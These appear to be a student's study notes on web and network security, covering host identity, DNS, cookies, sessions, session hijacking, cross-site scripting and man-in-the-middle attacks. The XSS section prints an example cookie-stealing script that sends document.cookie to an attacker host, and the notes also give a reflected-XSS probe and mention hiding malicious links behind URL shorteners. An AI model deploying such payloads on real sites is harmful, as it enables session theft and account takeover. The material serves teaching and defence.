Certificates not ubiquitous on the internet.

Several other means attach identity to information, even though binding may be very transient(temporary).

Internet requires every host to have an address.

Address maybe fixed or may change, without cryptography the binding is weak.

Many servers send information about state of client’s interaction, so that when client reconnects ,server can resume transaction or glean information about previous transactions.

Host identity

Host identity bound to networking. A host not connected to any network can have any name, as name only used locally.

A host connected to a network can have many names or one name.

ISO model – context for issue of naming.

Each host has a principal at each layer that communicates with a peer on other hosts.

These principals communicate with principals at the same layer on other hosts.

Each principal on an individual host can have different names(addresses) at each layer.

All names identify the same host, but each one refers to a context in which the host functions.

Example – computer has ethernet(Media Access Control or MAC) address ,IP address and a host name.

At data link level ,it’s known by ethernet address ,at network level it’s known by IP address. At application level it is known by host name.

System also on an AppleTalk network, with an AppleTalk address of network 51,node 235.Other systems on AppleTalk network identify host by this name.

Static and dynamic identifiers

An identifier can be either static or dynamic.

A static identifier does not change over time, a dynamic identifier changes either as result of event or over time.

Databases contain mappings between different names. Best known of this is DNS which associates hostnames and IP addresses.

In absence of cryptographic authentication of hosts, DNS provides weak authentication.

DNS contains forward records, that map hostnames to IP addresses and reverse addresses that map IP addresses into names.

State and cookies

Many internet applications require client or server maintain state to simplify transaction process.

Cookie – token that contains information about state of transaction on a network.

Although transaction can be any client-server interaction, cookie is used term in reference to interactions between web browsers and web servers.

Cookies minimize storage requirements of servers ,put burden of maintaining required information on the client(web browser).

Cookies consist of several values.

1)Name (or key) and value encoded into the cookie and represent the state. Interpretation is name has an associated value.

2) Expires field indicates when cookie is valid. Expired cookies are discarded.

If field not present cookie deleted at end of session.

3)Domain states domain for which cookie is intended. Consists of last n fields of domain name of server. Cookie sent to servers in that domain. Example, domain =.adv.com specifies cookie is to be sent to any server in adv.com domain.

4)Path further restricts dissemination of the cookie.

When web server requests cookie ,it provides a domain. Cookies that match domain maybe sent to server.

5)If secure field is set, cookie will be sent only over secured connections.

(HTTPS)

Ex – Caroline logs into web server ,www.books.com and adds 2 books to cart.

Session hijacking (ilearn video)

Background to this idea of continuous authentication.

Backing up to concepts of networks ,one thing we should all understand is we have 2 kinds of communication when working with internet.

One is connection based, other is packet based.

When I make a phone call ,I dial a number and I create a connection until we close the connection.

Connection based

Start a connection, assume all traffic between the 2 points that are created and then close the connection.

Packet based is like sending little pieces of information, one way and then the other way.

That’s like sending letters, they are data packets ,see them as packages that postman carries.

Have these 2 basic methods.

HTTP -protocol with web is a packet based protocol.

Feels like a connection, when I connect to bank do stuff and then drop connection. But not.

On a underlying level HTTP is me sending packets and getting something in return.

When we make communication into sessions, we are working hard to make packages look like sessions.

That’s when we get idea of cookies and their use for making things like sessions,

Appear out of quickly running postman.

Little illustrations here

Me sitting at desk ,wanting to communicate with bank.

Doing this over the web .Some kind of communication going on.

Since its via the web, it is packet based at a low level , even though I can imagine it’s a connection.

Problem comes if connection between me and my bank is not as strong as it should be.

What can happen in that case is that somebody else can come along and usurp the connection and take over here and continue communicating with the bank.

We do have a problem with packet based communication , is this communication between the 2 parties might be weak enough for somebody to break the connection, jump in and assume (usurp)

The role of bank ,take over the role.

This is session hijacking.

Even if things are connection based shouldn’t be possible for someone to cut connection as I’m speaking to my bank.

Session hijacking isn’t just a problem for packet based protocols like HTTP,

**Cross-site scripting attack (XSS attack)**

A kid whose name was Bobby Tables

Soon after changing name to Bobby Script, he started to see special messages on any new website he signs up to.

Same origin Policy (SOP) – Stops one website from reading or writing data to another.

Policy checks for 3 different things in the origin.

1)Protocol

2)Host

3)Port

Only if 3 are same for 2 different origins, browser allows cross-origin read and write.

If we have 2 websites – <http://pwnfunction.com> and other http://hackfunction.com

Browser checks if protocol same in both cases – it is same (http)

Checks for host(obviously they’re different)

One is pwnfunction , other is hackfunction so browser blocks cross origin read and write.

This is great feature, ensuring basic web security.

What if we have control of javascript of another website

Javascript has access to HTML via DOM API’s which are provided by browser. Can manipulate DOM and make it different ,like defacing page.

Can steal csrf tokens or read some cookies. Having access to javascript on another website in a different user’s context can be very problematic.

Can we inject js into another website? Yes

That is exactly XSS ,a javascript injection technique.

When we click on button ,we send out HTTP request. Name is sent out as GET parameter. After server processes information , it returns a response.

Browser sees whole of response data as HTML which is also seen by content type: text/html.

Browser can’t know without extra information, input we send is being reflected back in response.

What if input is <script> alert(1337)</script>

This becomes reflected XSS – input reflected back in response and gets identified as script block and gets executed.

Stored XSS – input is stored in a DB, shown to user by pulling it out from where it was stored.

Can affect everyone who views the page depended on your input.

Cross-Site Scripting (XSS) attacks. An XSS attack is a type of security vulnerability typically found in web applications.

It allows attackers to inject malicious scripts into webpages viewed by other users.

These scripts can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. XSS attacks can also be used to deface websites or redirect the user to malicious sites.

**Scenario:**

Suppose there's a popular online forum where users can post comments. This forum displays comments from users without properly sanitizing and escaping user input.

**Attack Steps:**

1. **Crafting the Malicious Script:** An attacker writes a JavaScript script designed to steal cookies from users. This script could look something like this (simplified for illustration):

<script> var xhr = new XMLHttpRequest(); xhr.open("GET", "http://attacker.com/steal?cookie=" + document.cookie, true); xhr.send(); </script>

This script, when run in someone's browser, sends the user's cookies to the attacker's server.

1. **Inserting the Script:** The attacker then posts a comment on the forum and includes the malicious script in the comment text.
2. **Execution of the Script:** When other users visit the forum page that includes the attacker's comment, the malicious script runs in their browsers. Because the script is embedded in the web page, it executes with the same privileges as any other script running on the site.
3. **Stealing Information:** The script accesses the cookies of each user who views the comment. These cookies might contain session tokens, which the attacker can use to impersonate the users and gain unauthorized access to their accounts on the forum.
4. **Sending Data to Attacker:** The script silently sends the stolen cookies to the attacker’s server. The users are unaware that their information has been compromised.

A close-up of a screen

Description automatically generated

Session

Session – time u stay active using a website. Technique used by servers to keep track of who you are during a period of using a website.

HTTP is stateless. While session is active every request in browser will be identified as coming from you. Otherwise every time u make a new request , you have to tell server hey it’s me again.

This is my personal ID. This is not a good way to surf the web.

No way server could know when you’re done with a website.

Session terminates either by you logging out or through an expiration mechanism.

We need sessions as HTTP is stateless. Not built to keep information about users. Sessions help associate requests to other requests. Without sessions if you are on facebook page and want to visit profile, you would have to login again.

When you login to website using username and password ,server may use this info along with other stuff to generate a unique id or a key and pass it back to web browser. This marks the start of session. Id is what further requests will use to authenticate you and talk to the server. This is the session id.

Session hijacking – attacker fools website into thinking they are you and then can do anything you can do on the site.

Hackers know how servers make use of session id’s to identify users so they will try to steal those ids or trick users to use ids they have control over.

Anyway an attacker can gain control of user’s session without their knowledge.

Browsers keep track of session keys used to identify users.

Communication in internet is done using packets.

3 ways to steal session key

1)Guessing key

2)Tricking user to login with compromised key

3)Stealing key from client or server

Cross site scripting (ilearn)

Website reflects back what I typed into search field.

I am typing things as a user, website is reflecting things back to me in some way.

I search for something, if it isn’t found , website says no results and reflects back what I have written in the box.

If I type HTML code to the server, it gets reflected back to me as if HTML code was written on the server.

Can paste in dangerous things in search box.

HTML code that starts with <script> tag.

Modify other parts of webpage than just the search box .Input to search field is appended to URL.

If scripts seen in URL can know this can be the reason.

Can use URL shorteners to reduce the size of a fake URL like on Bitly.

Security conscious person would use Firefox.

Need to skeptical about URL’s that have <script> tags and URL’s that involve a redirect.

Man in the middle attack

A Man-in-the-Middle (MitM) attack is a cyberattack where the attacker secretly intercepts and possibly alters the communication between two parties who believe they are directly communicating with each other. This type of attack can occur in both digital and physical communications. Here's a detailed explanation:

1. **Interception:** The first step in a MitM attack is interception. The attacker positions themselves in a way that the data exchanged between the two parties passes through the attacker. This can be achieved through various methods, such as packet sniffing on a network, making malicious Wi-Fi access points, using software vulnerabilities, or physically tapping communication lines.
2. **Eavesdropping:** Once the attacker intercepts the communication, they can eavesdrop on the exchange. This means they can read, listen to, or record the information being shared, which might include sensitive data like login credentials, personal information, or financial details.
3. **Alteration and Injection:** In more sophisticated MitM attacks, the attacker can alter the communication before passing it along. They might inject malicious links, change the details of a transaction, or manipulate the messages being sent.
4. **Impersonation:** The attacker can also impersonate one or both parties, creating a scenario where each party believes they are communicating securely with the legitimate other party. This can lead to sensitive information being disclosed to the attacker.

MitM attacks are particularly dangerous because they can be hard to detect. The parties involved might not realize that there is an eavesdropper or an interceptor between them.

**Common Scenarios:**

* **Wi-Fi Eavesdropping:** Attackers set up an unsecured Wi-Fi hotspot. When someone connects to it, the attacker gains access to their data flow.
* **Email Hijacking:** Attackers might infiltrate email accounts and intercept communications between the account owner and their contacts.
* **Session Hijacking:** Capturing and using session tokens to impersonate a user on a website.
* **HTTPS Spoofing:** Presenting a fake website that appears secure (HTTPS) to the user, but in reality, it's controlled by the attacker.

**Prevention:**

* Using encrypted connections (HTTPS, VPNs).
* Being cautious with unsecured Wi-Fi networks.
* Employing robust authentication methods.
* Regularly updating software to patch vulnerabilities.
* Using security tools like firewalls and intrusion detection systems.

MitM attacks pose a significant risk in both personal and organizational contexts, and it's crucial to be aware of these risks and employ measures to mitigate them.